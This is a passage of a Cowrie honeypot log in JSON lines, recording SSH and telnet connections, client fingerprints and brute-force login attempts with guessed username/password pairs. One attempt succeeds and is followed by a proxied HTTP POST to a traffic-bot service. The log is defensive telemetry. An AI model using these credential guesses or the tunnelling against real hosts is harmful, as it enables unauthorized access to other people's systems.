l\\xd4\\xd1g\\x99\\xfa\\xacSp\\xa99\\xd0\\xe1\\x98\\x1b\\xf1\\x19\\x98\\x17\\x18$\\xac\\x0b\\xe6\\x05\\xaa\\x08m>\\xb9\\xd0l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:49.595227Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:54.973655Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52540,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d55f1ff10ed","protocol":"ssh","message":"New connection: 27.71.230.31:52540 (10.17.0.5:22) [session: 9d55f1ff10ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:56.930288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:56.956128Z","src_ip":"27.71.230.31","session":"9d55f1ff10ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:57.169808Z","src_ip":"27.71.230.31","session":"9d55f1ff10ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":56238,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb6dd1560b21","protocol":"ssh","message":"New connection: 103.60.242.169:56238 (159.203.135.109:22) [session: fb6dd1560b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:58.792505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:58.796604Z","src_ip":"103.60.242.169","session":"fb6dd1560b21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:59.048835Z","src_ip":"103.60.242.169","session":"fb6dd1560b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"Admin@123","message":"login attempt [frappe/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:00.091251Z","src_ip":"103.60.242.169","session":"fb6dd1560b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":41964,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf6542260d28","protocol":"ssh","message":"New connection: 2.99.213.222:41964 (159.203.135.109:22) [session: bf6542260d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:00.338465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:00.343823Z","src_ip":"2.99.213.222","session":"bf6542260d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:00.447741Z","src_ip":"2.99.213.222","session":"bf6542260d28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Newpassword@123","message":"login attempt [root/Newpassword@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:00.859136Z","src_ip":"27.71.230.31","session":"9d55f1ff10ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"123","message":"login attempt [antonio/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:00.889634Z","src_ip":"2.99.213.222","session":"bf6542260d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:01.351045Z","src_ip":"103.60.242.169","session":"fb6dd1560b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:01.995189Z","src_ip":"2.99.213.222","session":"bf6542260d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:02.692044Z","src_ip":"27.71.230.31","session":"9d55f1ff10ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":35889,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddacfc992bca","protocol":"ssh","message":"New connection: 41.90.100.147:35889 (159.203.135.109:22) [session: ddacfc992bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:11.414078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:11.419219Z","src_ip":"41.90.100.147","session":"ddacfc992bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:11.635488Z","src_ip":"41.90.100.147","session":"ddacfc992bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chen","message":"login attempt [root/chen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:12.534920Z","src_ip":"41.90.100.147","session":"ddacfc992bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":33357,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2c585870aa","protocol":"ssh","message":"New connection: 49.247.37.22:33357 (159.203.135.109:22) [session: 4a2c585870aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:13.379473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:13.384459Z","src_ip":"49.247.37.22","session":"4a2c585870aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:13.585581Z","src_ip":"49.247.37.22","session":"4a2c585870aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:13.753422Z","src_ip":"41.90.100.147","session":"ddacfc992bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:14.420283Z","src_ip":"49.247.37.22","session":"4a2c585870aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:15.623814Z","src_ip":"49.247.37.22","session":"4a2c585870aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":60166,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c8f661ce76c","protocol":"ssh","message":"New connection: 23.175.50.47:60166 (10.17.0.5:22) [session: 4c8f661ce76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:18.913388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:18.922362Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:19.010470Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59860,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea652f1306a","protocol":"ssh","message":"New connection: 103.77.242.62:59860 (159.203.135.109:22) [session: fea652f1306a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:19.061538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:19.066066Z","src_ip":"103.77.242.62","session":"fea652f1306a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:19.307345Z","src_ip":"103.77.242.62","session":"fea652f1306a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290584","message":"login attempt [root/290584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:20.035907Z","src_ip":"103.77.242.62","session":"fea652f1306a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:20.447015Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:21.278881Z","src_ip":"103.77.242.62","session":"fea652f1306a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55908,"dst_ip":"159.203.135.109","dst_port":23,"session":"26170326e001","protocol":"telnet","message":"New connection: 172.81.62.90:55908 (159.203.135.109:23) [session: 26170326e001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:22.337731Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.317208Z","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:40:28.381986Z","src_ip":"23.175.50.47","session":"4c8f661ce76c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; Vankyo_S10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 